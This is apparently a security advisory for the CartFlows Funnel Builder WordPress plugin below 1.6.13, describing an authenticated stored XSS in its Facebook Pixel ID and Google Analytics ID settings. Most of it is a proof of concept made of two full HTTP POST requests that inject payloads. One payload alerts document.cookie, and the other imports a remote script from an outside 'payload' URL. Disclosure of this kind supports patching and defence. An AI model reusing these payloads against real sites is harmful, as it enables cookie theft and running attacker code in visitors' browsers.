Funnel Builder by CartFlows < 1.6.13 - Authenticated Stored XSS via FB Pixel ID and Google Analytics ID

The plugin did not sanitise its facebook_pixel_id and google_analytics_id settings, allowing high privilege users to set XSS payload in them, which will either be executed on pages generated by the plugin, or the whole website depending on the settings used.

PoC

– [ Payloads: ] [$] ‘m0ze’); alert(document.cookie); //(‘m0ze’ ### – [ PoC #1 | Authenticated Persistent XSS | Facebook Pixel ID: ] [!] POST /wp-admin/admin-ajax.php?_locale=user HTTP/2 Host: example.com Cookie: [admin cookies] User-Agent: Mozilla/5.0 Content-Type: multipart/form-data; boundary=---------------------------136768928210535225113059586199 Content-Length: 1787 -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“_cartflows_facebook[facebook_pixel_tracking]” disable -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“_cartflows_facebook[facebook_pixel_tracking]” enable -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“_cartflows_facebook[facebook_pixel_tracking_for_site]” disable -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“_cartflows_facebook[facebook_pixel_tracking_for_site]” enable -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“_cartflows_facebook[facebook_pixel_id]” ‘m0ze’); alert(document.cookie); //(‘m0ze’ -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“_cartflows_facebook[facebook_pixel_initiate_checkout]” disable -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“_cartflows_facebook[facebook_pixel_add_payment_info]” disable -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“_cartflows_facebook[facebook_pixel_purchase_complete]” disable -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“action” cartflows_save_global_settings -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“security” e918af4728 -----------------------------136768928210535225113059586199 Content-Disposition: form-data; name=“setting_tab” facebook_pixel -----------------------------136768928210535225113059586199-- ### – [ PoC #2 | Authenticated Persistent XSS | Google Analytics ID: ] [!] POST /wp-admin/admin-ajax.php?_locale=user HTTP/2 Host: example.com Cookie: [admin cookies] User-Agent: Mozilla/5.0 Content-Type: multipart/form-data; boundary=---------------------------372833242730857634751324923175 Content-Length: 1814 -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“_cartflows_google_analytics[enable_google_analytics]” disable -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“_cartflows_google_analytics[enable_google_analytics]” enable -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“_cartflows_google_analytics[enable_google_analytics_for_site]” disable -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“_cartflows_google_analytics[google_analytics_id]” ‘;import(“https://m0ze.ru/payload/a2r.js”);’ -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“_cartflows_google_analytics[enable_begin_checkout]” disable -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“_cartflows_google_analytics[enable_add_to_cart]” disable -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“_cartflows_google_analytics[enable_add_payment_info]” disable -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“_cartflows_google_analytics[enable_purchase_event]” disable -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“action” cartflows_save_global_settings -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“security” e918af4728 -----------------------------372833242730857634751324923175 Content-Disposition: form-data; name=“setting_tab” google_analytics -----------------------------372833242730857634751324923175–